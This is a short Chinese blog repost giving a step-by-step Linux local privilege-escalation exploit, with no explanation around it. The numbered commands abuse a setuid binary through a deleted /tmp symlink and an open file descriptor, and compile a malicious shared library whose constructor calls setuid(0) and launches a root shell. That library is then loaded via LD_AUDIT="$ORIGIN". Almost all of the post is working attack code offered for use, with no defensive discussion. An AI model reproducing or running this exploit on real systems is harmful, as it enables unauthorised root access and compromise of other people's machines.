首页 > 系统服务 > 详细

linux普通用户提权

时间:2019-11-19 16:32:10      阅读:89      评论:0      收藏:0      [点我收藏+]

1.useradd test

2.passwd test

3.mkdir /tmp/exploit

4.ln -s /usr/bin/ping /tmp/exploit/target

5.exec 3< /tmp/exploit/target

6.ls -l /proc/$$/fd/3

7.rm -rf /tmp/exploit

8.ls -l /proc/$$/fd/3

9.vim payload.c

void __attribute__((constructor)) init() 

{

setuid(0); system("/bin/bash");

}

10.gcc -w -fPIC -shared -o /tmp/exploit payload.c

11.ls -l /tmp/exploit

12.LD_AUDIT="$ORIGIN" exec /proc/self/fd/3

13.whoami

linux普通用户提权

原文:https://www.cnblogs.com/yuanqc/p/11889870.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!